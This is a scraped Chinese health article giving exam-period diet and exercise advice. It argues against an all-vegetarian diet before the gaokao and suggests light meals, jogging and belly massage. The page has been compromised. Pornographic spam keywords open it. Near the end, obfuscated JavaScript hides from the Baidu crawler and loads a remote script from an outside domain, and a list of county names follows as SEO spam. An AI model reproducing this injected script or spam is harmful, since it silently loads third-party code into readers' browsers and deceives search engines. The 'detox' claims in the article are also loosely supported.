亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 飲食 > 健康飲食 > 正文

考前給孩子吃什么好?考前只吃素好嗎?

2015-10-26 07:56:42  來源:360常識網(wǎng)   熱度:
導語:早飯要吃好,早上需要很多熱量,主副食搭配合理,包子、饅頭、青菜、牛奶、雞蛋等都可以攝取;午飯要吃好,有質(zhì)量,在正常情況下可以吃一些魚肉、蛋奶等。

不少考生在考前會出現(xiàn)內(nèi)分泌失調(diào)的癥狀,要么面部皮膚起痤瘡、要么出現(xiàn)便秘、要么失眠,有的甚至因此抵抗力下降而在考前感冒。此時,一定要注意保證脾胃的運化功能正常,尤其是感覺胃脹、便秘、失眠的時候。不妨戴上耳機來一點輕音樂,然后先用右掌心貼附在肚臍部,左手疊于右手背上,做順時針方向按摩,以肚臍為中心,逐漸擴大到全腹,面積由小到大。

考前給孩子吃什么好?考前只吃素好嗎?

考前給孩子吃什么好?考前只吃素好嗎?

網(wǎng)傳著名中學高考前讓學生戒葷

網(wǎng)帖拋出了一些所謂名校絕招,說近年來,每當臨近高考,老師便會拋出一條不成文的規(guī)定:即高考前十天,不許吃肉!理由是肉食可能導致身體不適,從而影響考場上的正常發(fā)揮。雖然是一條不成文的規(guī)定,但堅決而果斷,要求學生和家長緊密配合,嚴格執(zhí)行。網(wǎng)文中還舉例河南駐馬店市某重點中學的老師,要求考生在高考前一個月吃素,以保持頭腦清晰,身體狀況良好。

專家建議高考前清淡飲食但不是全素飲食

提及“素食提升智商高考吃素保持頭腦清晰”的說法,無論從中醫(yī)食療學的角度,還是從西醫(yī)營養(yǎng)學角度,考前只吃素是不合適的。因為葷菜對于健腦也有益處。比如魚類的肉質(zhì)中含有大量的ω-3脂肪酸,有助于強化腦部功能。因為ω-3脂肪酸能增強血液循環(huán)至腦部的流量,能輸送大量氧氣與養(yǎng)分至腦細胞中??荚嚻陂g,要注意清淡飲食,大魚大肉的確不可取,飯菜不要太多油,要低鹽,還可配上一些水果。早飯要吃好,早上需要很多熱量,主副食搭配合理,包子、饅頭、青菜、牛奶、雞蛋等都可以攝??;午飯要吃好,有質(zhì)量,在正常情況下可以吃一些魚肉、蛋奶等;晚飯要清淡,肉食等要少吃,由于考試期間消耗大,晚飯時間可以提前,睡前可以飲用一些熱牛奶。

考前需要做什么?

鍛煉效果也不錯

臨近高考,很多學生感到壓力比較大,午后和晚上的時間,會感覺比較疲憊,頭昏腦脹,但又要堅持看書。不少家長看著也是干著急,在網(wǎng)上不斷搜尋食療方,希望以此可以幫助孩子緩解壓力,減輕疲倦感??忌荒芤晃兜刈非罂记帮嬍持荚嚕m當有針對性地鍛煉也是必不可少的,甚至比進補更有效。

“喊山”減壓,增加肺活量

高考前出現(xiàn)焦慮癥狀的同學不妨試試“喊山”鍛煉。同學們可以趁晚自習間隙,在嘈雜的學校操場上練習這個方法,條件允許的話,也可以利用休息時間在公園人少的時候進行鍛煉。

有氧運動提高解題能力

很多考生晚自習或周末回到家中后,父母大都會準備充滿營養(yǎng)的豐盛飯菜來為子女補充能量,但是不少考生發(fā)現(xiàn),進補未必會有效果,比如做題的時候,量大了、時間久了反而反應(yīng)不敏捷了。

有氧運動能促進新陳代謝,提高肺泡通氣量,增加血液含氧量,從而有助改善大腦供血供氧,使人的反應(yīng)速度加快,思維更加敏銳,學習效率提高。大家可以根據(jù)自己的實際情況選擇能產(chǎn)生愉悅感的運動,如慢跑等有氧運動。運動強度不要過大,每天半小時到四十分鐘就足夠。復習前或睡前一小時不適宜進行此類運動。

輕音樂摩腹助“排毒”

不少考生在考前會出現(xiàn)內(nèi)分泌失調(diào)的癥狀,要么面部皮膚起痤瘡、要么出現(xiàn)便秘、要么失眠,有的甚至因此抵抗力下降而在考前感冒。此時,一定要注意保證脾胃的運化功能正常,尤其是感覺胃脹、便秘、失眠的時候。不妨戴上耳機來一點輕音樂,然后先用右掌心貼附在肚臍部,左手疊于右手背上,做順時針方向按摩,以肚臍為中心,逐漸擴大到全腹,面積由小到大。每次8至15分鐘,以肚皮微熱為宜。摩腹前先喝一杯溫開水,效果更好。此項運動有利于幫助考前輕松“排毒”,讓考生們輕裝上陣!

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
友谊县| 华亭县| 西宁市| 历史| 梁河县| 南充市| 旬邑县| 梅州市| 扶绥县| 勃利县| 寿阳县| 连山| 北碚区| 安丘市| 大名县| 敦煌市| 枣强县| 延津县| 中宁县| 伊春市| 平和县| 三穗县| 石楼县| 石城县| 仪陇县| 南江县| 邛崃市| 和田市| 子长县| 东乡县| 深州市| 榆树市| 乌兰县| 区。| 普兰县| 梅河口市| 廉江市| 德钦县| 瓮安县| 剑阁县| 大竹县|